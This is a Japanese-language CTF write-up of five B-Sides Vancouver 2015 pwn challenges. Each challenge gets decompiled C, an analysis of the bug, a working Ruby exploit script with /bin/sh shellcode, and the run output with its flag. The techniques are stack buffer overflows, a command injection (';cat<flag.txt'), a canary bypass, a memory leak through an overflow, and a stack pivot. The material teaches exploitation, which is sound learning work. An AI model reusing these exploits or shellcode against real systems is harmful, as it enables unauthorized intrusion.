B-Sides Vancouver 2015 write up
B-Sides Vancouver 2015に参加しました(´∀`)
1260ptで21位、pwn全完ということで、個人的に満足です(*´ω`*)
なおpwn以外はダメでした☆
以下write upです(`・ω・´)
Sushi(Ownable:100)
Cに直すとこんな感じ。
int main(){ char buf[0x40]; //rbp-0x40 printf("Deposit money for sushi here: %p\n", buf); fflush(stdout); gets(buf); printf("Sorry, $0.%d is not enough.\n", buf[0]); fflush(stdout); return 0; }
単純明快なバッファオーバフロー。
シェルコード流し込んでリターンアドレスを書き換えるだけ。
#coding:ascii-8bit #sushi.rb require_relative "pwnlib" shellcode = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" PwnTube.open("sushi.termsec.net", 4000){|tube| puts "[*] connected" s = tube.recv stack_address = s.match(/: 0x([0-9a-f]+)\n/).captures[0].to_i(16) printf("stack address = 0x%x\n", stack_address) payload = "" payload << shellcode + "A" * (72 - shellcode.length) payload << [stack_address].pack("Q") tube.send(payload + "\n") tube.interactive }
$ ruby sushi.rb [*] connected stack address = 0x7fffcdbd3b30 Sorry, $0.72 is not enough. [*] interactive mode cat flag.txt flag{I_l3ft_my_wallet_in_#irc} exit [*] end interactive mode
FLAG:flag{I_l3ft_my_wallet_in_#irc}
Delphi(Ownable:200)
事前準備としてLD_LIBRARY_PATH
環境変数を設定。
user@debian-amd64:~/ctf/bside_ctf$ ./delphi ./delphi: error while loading shared libraries: libtwenty.so: cannot open shared object file: No such file or directory user@debian-amd64:~/ctf/bside_ctf$ ldd delphi linux-vdso.so.1 => (0x00007fffed3ff000) libtwenty.so => not found libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f028667d000) user@debian-amd64:~/ctf/bside_ctf$ export LD_LIBRARY_PATH=/home/user/ctf/bside_ctf/ user@debian-amd64:~/ctf/bside_ctf$ ldd delphi linux-vdso.so.1 => (0x00007fff2d3ff000) libtwenty.so => /home/user/ctf/bside_ctf/libtwenty.so (0x00007fd071833000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd071613000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd071286000) /lib64/ld-linux-x86-64.so.2 (0x00007fd071a37000)
gdbで開いてinfo functions
をしてみる。
(gdb) info functions All defined functions: File go: void _cgo_allocate(); void _cgo_panic(); void _rt0_amd64_linux(); void _rt0_go(); void bufio.(*Scanner).Bytes; void bufio.(*Scanner).Err; void bufio.(*Scanner).Scan; void bufio.(*Scanner).Split; void bufio.(*Scanner).Text; void bufio.(*Scanner).advance; void bufio.(*Scanner).setErr; void bufio.ScanLines(struct []uint8, bool, int, struct []uint8, error); void bufio.init(); void bytes.IndexByte(); void bytes.init(); void crosscall2(); void errors.(*errorString).Error; void errors.New(struct string, error); void fmt.(*buffer).Write; void fmt.(*buffer).WriteByte; void fmt.(*buffer).WriteRune; ---Type <return> to continue, or q <return> to quit---
出てくる関数名が何かのフレームワークの存在を匂わせる感じ。
ということでググると、GoLangで書かれたプログラムっぽい。(というかinfo functions
にFile go:
って書いてあったorz)
関数一覧を見ると、パッケージ名[.(*this)].関数名
という命名になっているっぽい。
GoLangで書かれたプログラムのエントリポイントはmainパッケージのmainのようなので、main.main
を見てみた。
が、超絶長い上に何の処理をしているのかよくわからない。
文字列の比較をしているっぽいruntime.eqstring
があったので、そこにブレークポイントを張ってレジスタを確認してみる。
(gdb) b 'runtime.eqstring' Breakpoint 18 at 0x425600: file /usr/lib/golang/src/pkg/runtime/string.goc, line 210. (gdb) c Continuing. > abcd Breakpoint 13, 0x00000000004017ee in main.main () at /home/cabal/main.go:36 36 in /home/cabal/main.go 1: x/i $pc => 0x4017ee <main.main+1390>: call 0x425600 <runtime.eqstring> (gdb) x/s $rsi 0x4d7850 <go.string.*+16528>: "exit"
runtime.eqstring
呼び出し時には、rsiレジスタに比較対象の文字列のアドレスが入っていることがわかった。
これを利用してmain
関数の動作を何となくで解析し、Rubyに書き起こすとこんな感じになる。
puts "Welcome!" puts puts "Are you ready to play 20 questions? No? Perfect!" puts "I'm thinking of something big, metal, and orange. Go!" print "> " while s = gets.chomp if s == "exit" puts "Bye!" break end args = s.split if args[0] == "go" if args.length == 1 puts "Sneaky, sneaky. Go where? How fast?" else if args.length == 3 check_answer(args[2].to_i, args[1]) # defined in libtwenty.so end end else # ハズレメッセージ出力 end print "> " end
go 文字列 数字
と入力するとcheck_answer
が呼ばれるという動作をしていた。
check_answer
はCで書かれているようなので、これをCに直すとこんな感じ。
void check_answer(int _value, char *_message){ char *message = _message; //rbp-0xa0 int value = _value; //rbp-0x94 char buf[142] = "echo "; //rbp-0x90 short var_2 = 42 + (short)value; //rbp-0x2 if((unsigned int)var_2 > 4){ puts("1 + 1 = Window, Erm. I mean, what goes up must come down."); puts("No wait, maybe it was what goes down must come up? I don't know. Life is to short."); return; } switch(var_2){ case 4: strcat(buf, message); system(buf); break; default: break; } return; }
(unsigned int)var_2 == 4
が成り立つようにすればsystem("echo " + message)
を実行できる。"echo "
の後ろにmessageをくっつけているだけなので、コマンドインジェクションが可能。ただし空白を含めることは出来ない。
解決策↓
- valueを-38とかにすればOK
;cat<flag.txt
とすればフラグが出力される
ということで、フラグを取りに行く。
$ nc delphi.termsec.net 5000 Welcome! Are you ready to play 20 questions? No? Perfect! I'm thinking of something big, metal, and orange. Go! > go ;cat<flag.txt -38 flag{I_l3t_my_tape_r0ck_til_my_t4pe_popped}
FLAG:flag{I_l3t_my_tape_r0ck_til_my_t4pe_popped}
www(Ownable:200)
Cに直すとこんな感じ。
char randval[9]; void copybuf(char *buffer1, char *buffer2){ char buf[16]; char canary[9]; strncpy(canary, randval, 9); strcpy(buf, buffer1); strcpy(buffer1, buffer2); if(strcmp(canary, randval) != 0){ puts("STACK SMASHING DETECTED!!! EXIT IMMEDIATELY"); exit(0); } return; } int main(){ char buf[4]; char buffer2[256]; char buffer1[256]; int fd; int i; printf("%s\nbuffers at %p and %p, ready for input!\n", "Welcome to www! Please give me two strings to have them echoed back to you!", buffer1, buffer2); fflush(stdout); fgets(buffer, 256, stdin); fgets(buffer, 256, stdin); printf("%s\n%s\n", buffer1, buffer2); fflush(stdout); fd = open("/dev/urandom", O_RDONLY); if(fd == 0){ //←なぜに0…… puts("Unable to access /dev/random"); srand(time(NULL)); }else{ read(0, buf, 4); close(0); srand(buf); } for(i = 0; i <= 7; i++){ randval[i] = rand() % ?? + 0x30; } randval[8] = '\0' printf("Stack canary created: %s\n", randval); copybuf(buffer1, buffer2); puts("Better luck next time, eh?"); }
copybuf
の1回目のstrcpy
でバッファオーバフローが起こせるが、
ただリターンアドレスを上書きするだけだとcanary
を破壊してしまう。
しかし、リターンアドレスの先にはcopybuf
の引数があり、バッファオーバフローによってそこも上書きができる。
2回目のstrcpy
はcopybuf
の引数をそのまま渡しているため、このstrcpy
でメモリ上の好きな文字列を好きな場所にコピーできる。
ということで、
- 1回目の
strcpy
でシェルコード読み込み + リターンアドレス上書き(canary
の破壊を伴う) +copybuf
の引数上書き - 1.で破壊した
canary
とrandval
が同じ文字列になるように、2回目のstrcpy
でrandval
も破壊
という方針で攻略する。
なお、buf
からリターンアドレスまでの距離は41バイト。
#coding:ascii-8bit #www.rb require_relative "pwnlib" shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" PwnTube.open("www.termsec.net", 17284){|tube| tube.wait_time = 0.5 puts "[*] connected" sleep(1) randval_address = 0x08049d68 puts "[*] getting buffer addresses" buffer1_address, buffer2_address = [0, 0] tube.recv.match(/buffers at (0x[0-9a-f]+) and (0x[0-9a-f]+),/).captures.tap{|captures| buffer1_address = captures[0].to_i(16) buffer2_address = captures[1].to_i(16) } printf("buffer1 = 0x%08x\n", buffer1_address) printf("buffer2 = 0x%08x\n", buffer2_address) payload = "" payload << "A" * 41 payload << [buffer2_address].pack("L") payload << [randval_address, buffer1_address + 16].pack("L*") # canaryはbuffer1の17文字目以降で上書きされている tube.send(payload + "\n") payload = "" payload << shellcode tube.send(payload + "\n") tube.interactive }
$ ruby www.rb [*] connected [*] getting buffer addresses buffer1 = 0xbfe7f794 buffer2 = 0xbfe7f694 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���h ��� 1�Rh//shh/bin��RS��B̀ [*] interactive mode cat flag.txt flag{K33P_ST4T1C_L1K3_W00L_F4BR1C} exit [*] end interactive mode
FLAG:flag{K33P_ST4T1C_L1K3_W00L_F4BR1C}
Glorious Modern(Ownable:350)
Cに直すとこんな感じ。
一部関数が抜けているのは気にしない←
typedef struct{ int isUsed; //base+0 SomeStruct *next; //base+4 char text[90]; //base+0xc long index; //base+0x66 } SomeStruct; int isDebugMode; //0x601f38 SomeStruct *TOP; //0x601f40 void puts_flush(char *msg){ //0x400a20 puts(msg); fflush(NULL); } void read_flag(char *_buf){ //0x400976 char *buf = _buf; //rbp-0x28 int fd; //rbp-0x14 long var_10 = 0; //rbp-0x10 long var_8 = 0; //rbp-0x8 fd = open("./flag.txt", O_RDONLY); if(fd == -1){ perror("open"); exit(1); } while(1){ var_8 += read(fd, buf + var_10, 0x40 - var_10); if(var_10 == -1){ perror("read"); exit(1); } if(var_8 > 63){ break; } if(var_10 == 0){ break; } } close(fd); return; } void create_list(long _arg){ //0x400a44 long arg = _arg; //rbp-0x28 SomeStruct *new_struct; //rbp-0x18 SomeStruct *current; //rbp-0x10 long i; //rbp-0x8 for(i = 0; i < arg; i++){ new_struct = malloc(0x6e/*110*/); new_struct->isUsed = 0; new_struct->next = NULL; if(TOP == NULL){ TOP = new_struct; continue; } current = TOP; while(current->next != NULL){ current = current->next; } current->next = new_struct; } return; } void get_string(char *_buf, long _length){ //0x400ada long length = _length; //rbp-0x30 char *buf = _buf; //rbp-0x28 long i; //rbp-0x18 for(i = 0; i < length; i++){ read(fileno(stdin), &buf[i], 1); if(buf[i] == '\n'){ buf[i] = '\0'; break; } } buf[length] = '\0'; return; } void switch_debug_mode(){ //0x400c2e isDebugMode = !isDebugMode; if(isDebugMode){ puts_flush("Bjorn Stoustrup mode activated"); }else{ puts_flush("Bjorn Stoustrup mode deactivated"); } return; } int get_padding(){ //0x400b69 char var_10[3]; //rbp-0x10 read(fileno(stdin), &var_10[0], 1); read(fileno(stdin), &var_10[1], 1); read(fileno(stdin), &var_10[2], 1); var_10[2] = '\0'; return (int*)var_10; } void print_element(char *_format, SomeStruct *_current, long *_values){ long *values = _values; //rbp-0x18 SomeStruct *current = _current; //rbp-0x10 char *format = _format; //rbp-0x8 if(isDebugMode){ printf("%d / %s / ", current->index, current->text); } printf(format, arg[current->index]); return; } void print_data(long *_values){ //0x400cd8 char *values = _values; //rbp-0x38 char padding[4]; //rbp-0x30 char format[] = "%00ld"; //rbp-0x20 SomeStruct *current; //rbp-0x18 if(isDebugMode){ puts_flush("[d] Specify padding:"); (int*)padding = get_padding(); if(padding[0] < '0' || padding[0] > '9' || padding[1] < '0' || padding[1] > '9'){ puts_flush("[d] Invalid padding"); }else{ format[1] = padding[0]; format[2] = padding[1]; } } current = TOP; while(current != NULL){ printf("[ "); if(current->isUsed){ print_element(format, current, values); }else{ printf("undefined"); } if(isDebugMode){ puts_flush(" ]"); }else{ printf(" ]"); } current = current->next; } puts_flush(""); return; } void add_element(char *_command, long *_values, int *_count){ int *count = count; //rbp-0xc8 long *values = values; //rbp-0xc0 char *command = _command; //rbp-0xb8 char buffer[90]; //rbp-0xb0 char padding[4]; //rbp-0x50 char format[] = "%00s"; //rbp-0x40 long value; //rbp-0x30 int index; //rbp-0x24 SomeStruct *current; //rbp-0x20 int i; //rbp-0x14 memset(buffer, 0, sizeof(buffer)); index = atoi(command + 4); if(count > 15){ puts_flush("Red black tree list full!"); return; } if(index < 0 || index > 15){ puts_flush("Index out of array range"); return; } current = TOP; for(i = 0; i < index; i++){ current = current->next; } if(current->isUsed){ puts_flush("Element already exists."); return; } puts_flush("Value for the new element"); value = sub400bf1(); if(isDebugMode){ puts_flush("[d] Specify padding:"); (int*)padding = get_padding(); if(padding[0] < '0' || padding[0] > '9' || padding[1] < '0' || padding[1] > '9'){ puts_flush("[d] Invalid padding"); }else{ format[1] = padding[0]; format[2] = padding[1]; } puts("Optional note for the new element:"); get_string(buffer, sizeof(buffer)); } if(isDebugMode){ printf("[d] List head at: %p\n", TOP); fflush(NULL); } current->isUsed = 1; current->index = (long)(*count); values[(long)(*count)] = value; *count += 1 sprintf(current->text, format, buffer); if(isDebugMode){ printf("[d] New Element at: %p\n", current); fflush(NULL); } return; } void main_loop(long *_values, int *_count){ //0x40121f int* count = _count; //rbp-0x60 long *values = _values; //rbp-0x58 char buf[64]; //rbp-0x50 int isQuitting = 0; //rbp-0x4 memset(buf, 0, sizeof(buf)); while(1){ printf("> "); fflush(NULL); get_string(buf, sizeof(buf)); if(isDebugMode){ printf("[d] Command: %s\n", buf); fflush(NULL); } if(strstr(buf, "debug") != NULL){ switch_debug_mode(); }else if(strstr(buf, "print") != NULL){ print_data(values); }else if(strstr(buf, "total") != NULL){ func400dea(values); }else if(strstr(buf, "sort") != NULL){ func400f6e(values); }else if(strstr(buf, "add") != NULL){ add_element(buf, values, count); }else if(strstr(buf, "del") != NULL){ func4011f5(buf, values, count); }else if(strstr(buf, "quit") != NULL){ isQuitting = 1; } if(isQuitting){ return; } } } int main(){ int count = 0; //rbp-0xc4 char flag[64]; //rbp-0xc0 long values[16]; //rbp-0x80 read_flag(flag); create_list(16); memset(values, 0, sizeof(values)); puts_flush("Welcome to Glorious Modern C++ 15"); puts_flush(""); puts_flush("As part of the C++ 15 standard, we have overhauled arrays so they"); puts_flush("provide a Network Interface Impl for remote usage. Sticking with"); puts_flush("earlier C++ standards, we have added --omg-optimized and backed it"); puts_flush("with a red black vector list tree for extra reduced complexity and"); puts_flush("succinct error messages."); puts_flush(""); main_loop(values, &count); }
線形リストに数値を登録したり、登録した数値を表示したり、ソートしたりするプログラム。
debug
と打つと、デバッグモードのon/offを切り替えられる。add <index>
と打つと、リストのindex番目に数値を登録できる。
このとき、デバッグモードが有効になっているとメモも登録できる。
登録された数値はmain
のローカル変数long values[16]
に格納され、リスト側はvalues
の添え字を保持する。print
と打つと、登録されている数値がリストの先頭から出力される。main
の初っ端でflag.txtを読みに行っているので、これをリークさせればOK。
add
コマンドのメモ登録時にはpaddingの入力を求められ、例えば10を指定すると、
sprintf((SomeStruct*)current->text, "%10s", (char*)memo)
が実行される。
が、paddingの入力時は数値チェックしかしていないため、91以上の値を指定すると
index
フィールドを任意の値で上書きすることができる。
このとき、index
が-8~-1になるようにすれば、print
コマンド実行時にflag
の中身をリークさせることができる。
#coding:ascii-8bit #gm.rb require_relative "pwnlib" PwnTube.open("gloriousmodern.termsec.net", 7000){|tube| tube.wait_time = 0.3 puts "[*] connected" sleep(1) puts "[*] set debug mode" tube.send("debug\n") puts "[*] add datas(with overwriting index)" payload = "" 8.times{|i| payload = "" payload << "add #{i}\n" payload << "#{i}\n" #value payload << "98\n" #padding payload << [-8 + i].pack("Q") + "\n" #note tube.send(payload) } puts "[*] print data(and display the flag)" tube.recv tube.send("print\n") tube.send("00\n") #padding sleep(2) flag = [] tube.recv.scan(/ \/ \d+ \]/){|s| s.scan(/\d+/){|n| flag << n.to_i} } puts flag.pack("Q*").match(/flag{.*}/).to_s }
$ ruby gm.rb [*] connected [*] set debug mode [*] add datas(with overwriting index) [*] print data(and display the flag) flag{0ne_time_4_ur_m1nd}
FLAG:flag{0ne_time_4_ur_m1nd}
Wild Blue Yonder(Ownable:400)
Cに直すとこんな感じ。
typedef struct{ char name[32]; //base+0 int strength; //base+0x14 int dexterity; //base+0x18 int constitution; //base+0x1c int intelligence; //base+0x20 int wisdom; //base+0x24 int charisma; //base+0x28 } Character; int dungeon_created; //0x0804acc8 char *dungeon; //0x0804ad00 int puts_flush(char *str){ int length; length = printf("%s\n", str); fflush(stdout); return length; } int get_ascii_string(char *buf, int length){ int i; for(i = 0; i < length; i++){ read(fileno(stdin), &buf[i], 1); if(buf[i] == '\n' || buf[i] <= '\x1f' || buf[i] == '\x7f'){ buf[i] = '\0'; break; } } buf[length - 1] = '\0'; return i; } int get_string(char *buf, int length){ int i; for(i = 0; i < length; i++){ read(fileno(stdin), &buf[i], 1); if(buf[i] == '\n'){ buf[i] = '\0'; break; } } buf[length - 1] = '\0'; return i; } int get_int(){ char buf[32]; int i; for(i = 0; i <= 31; i++){ read(fileno(stdin), &buf[i], 1); if(buf[i] == '\n'){ buf[i] = '\0'; break; } } buf[31] = '\0'; return atoi(buf); } void create_character(Character *character){ puts_flush(""); puts_flush("By what name shall we know thee? "); get_ascii_string(character->name, 32); character->strength = rand() % 20; character->dexterity = rand() % 20; character->constitution = rand() % 20; character->intelligence = rand() % 20; character->wisdom = rand() % 20; character->charisma = rand() % 20; printf("Greetings %s!\n", character->name); printf("Strength: %u/20\t\tIntelligence: %u\n", character->strength, character->intelligence); printf("Dexterity: %u/20\t\tWisdom: %u\n", character->dexterity, character->wisdom); printf("Constitution: %u/20\tCharisma: %u\n", character->constitution, character->charisma); puts_flush(""); return; } char *copy_to_dungeon(char *d, char *buf, int pagesize, int length){ char *var_C = d + pagesize; while(d < var_C){ memcpy(d, buf, length); d += length; } d += ~pagesize; return d; } void generate_dungeon(){ char buffer[128]; char levels; int i; puts_flush(""); puts_flush("How many levels should your dungeon have [1-3]:"); levels = (char)get_int(); if(levels == 0 || levels > 3){ puts_flush("A dungeon can have 1-3 levels.") puts_flush(""); return; } printf("%u\n", (unsigned int)levels); dungeon = (char*)mmap(0x20150000, sysconf(_SC_PAGESIZE) * levels, PROT_EXEC | PROT_READ | PROT_WRITE, 0x32, -1, 0); if(dungeon == MAP_FAILED){ perror("mmap"); exit(1); } for(int i = 0; i < (unsigned int)levels; i++){ memset(buffer, 0, sizeof(buffer)); printf("Enter your data for level %d:\n", i); fflush(stdout); get_string(buffer, sizeof(buffer)); copy_to_dungeon(buffer + sysconf(_SC_PAGESIZE) * i, buffer, sysconf(_SC_PAGESIZE), sizeof(buffer)) } puts_flush("Generating world..."); sleep(1); puts_flush(""); dungeon_created = 1; return; } void print_dungeon(int x, int y){ char map_char; int row; int col; for(row = 0; row <= 19; row++){ for(col = 0; col <= 63; col++){ if(col == x && row == y){ putchar('@'); }else{ map_char = (char)dungeon[row * 20 + col]; if(map_char <= '\x1f' || map_char > '\x7e'){ putchar('.'); }else{ putchar(map_char); } } } puts_flush(""); } puts_flush(""); return; } void explore_dungeon(Character *character){ char command; int isQuitting = 0; int y = 0; int x = 0; if(!dungeon_created){ puts_flush("You must create the dungeon before you can explore it!"); return; } print_dungeon(x, y); while(1){ command = getchar(); switch(command){ case '\n' continue; case 'h': x -= 1; break; case 'j': y += 1; break; case 'k': y -= 1; break; case 'l': x += 1; break; case 'q': isQuitting = 1; break; default: printf("I don't know how to do that, %s\n", character->name); break; } if(isQuitting){ return; } print_dungeon(x, y); } } void recreate_character(Character *character){ puts_flush(""); puts_flush("By what name shall we know thee? "); get_ascii_string(character->name, 128); character->strength = rand() % 40; character->dexterity = rand() % 40; character->constitution = rand() % 40; character->intelligence = rand() % 40; character->wisdom = rand() % 40; character->charisma = rand() % 40; printf("Greetings %s!\n", character->name); printf("Strength: %u/20\t\tIntelligence: %u\n", character->strength, character->intelligence); printf("Dexterity: %u/20\t\tWisdom: %u\n", character->dexterity, character->wisdom); printf("Constitution: %u/20\tCharisma: %u\n", character->constitution, character->charisma); puts_flush(""); return; } void main_menu(Character *character){ int choice; int isQuitting = 0; while(1){ puts_flush(".:1] Generate a new dungeon."); puts_flush(".:2] Explore your dungeon."); puts_flush(".:3] Reroll your character."); puts_flush(".:4] Quit."); puts_flush(""); puts_flush("What is your choice?"); choice = get_int(); switch(choice){ case 1: generate_dungeon(); break; case 2: explore_dungeon(); //←なぜか引数が渡されていない break; case 3: recreate_character(character); break; case 4: isQuitting = 1; break; default: printf("I'm sorry %s, I don't think I can do that.", character->name); fflush(stdout); break; } if(isQuitting){ break; } } } int main(){ Character character; puts_flush(" -= MUD Builder Pro v5.5 =-"); puts_flush(山); create_character(&character) main_menu(&character); return 0; }
解析がんばった(`・ω・´)
recreate_character
のキャラ名入力部分で盛大にバッファオーバフローができる。(ただし、0x1f以下と0x7fは使用不可)
引数character
の実体はmain
のローカル変数なので、main
のスタック領域を破壊できる。generate_dungeon
で、メモリ上の0x20150000~(0x20151000 + 0x1000 * levels)
にrwx
な領域が作成される仕様。
levels
には1~3のみ指定できるつもりでコーディングされているが、実はsigned charで負数とみなされる数値の入力が通る。
main
のreturn 0;
の部分のアセンブリを見ると、次のようになっている。
Dump of assembler code from 0x804873a to 0x8048747: 0x0804873a: mov eax,0x0 0x0804873f: mov ecx,DWORD PTR [ebp-0x4] 0x08048742: leave 0x08048743: lea esp,[ecx-0x4] 0x08048746: ret End of assembler dump.
saved-ebpの上にsaved-espがあるので、
generate_dungeon
時にシェルコードと、シェルコードのアドレスを入れた偽のスタックを準備し、
main
からのリターン時にespがそこを指すようにrecreate_character
でバッファオーバフローする。
バッファオーバフロー時に0x1f以下と0x7fは使用できないという制約があるが、
generate_dungeon
のlevels
に255を指定すれば0x20150000~0x2024f000
に領域が確保されるので問題なっしんぐ(死語……?)。
#coding:ascii-8bit #wby.rb require_relative "pwnlib" shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" PwnTube.open("wildblue.termsec.net", 2323){|tube| tube.wait_time = 0.5 shellcode_address = 0x20150000 new_stack_pointer = 0x20237020 puts "[*] connected" sleep(1.5) puts "[*] create character" tube.recv tube.send("name\n") puts "[*] create dungeon(read shellcode and create fake stack)" tube.recv payload = "" payload << "1\n" payload << "255\n" 255.times{|i| if i == 0 payload << shellcode elsif i == 0xe7 payload << "A" * 0x20 payload << [shellcode_address].pack("L") end payload << "\n" } tube.send(payload) sleep(1) puts "[*] recreate character(overwrite saved-esp)" tube.recv payload = "" payload << "3\n" payload << "A" * 48 payload << [new_stack_pointer + 4].pack("L") tube.send(payload + "\n") puts "[*] quit(trigger)" tube.recv tube.send("4\n") tube.interactive }
$ ruby wby.rb [*] connected [*] create character [*] create dungeon(read shellcode and create fake stack) [*] recreate character(overwrite saved-esp) [*] quit(trigger) [*] interactive mode cat flag.txt flag{k1ck_in_tha_d00r_wavin_tha_44} exit [*] end interactive mode
FLAG:flag{k1ck_in_tha_d00r_wavin_tha_44}
おまけ
これは人間デコンパイラですねぇ…たまげたなぁ…
— mage(まげ) (@mage_1868) March 18, 2015
「人間デコンパイラ」の称号をいただきました(*´ω`*)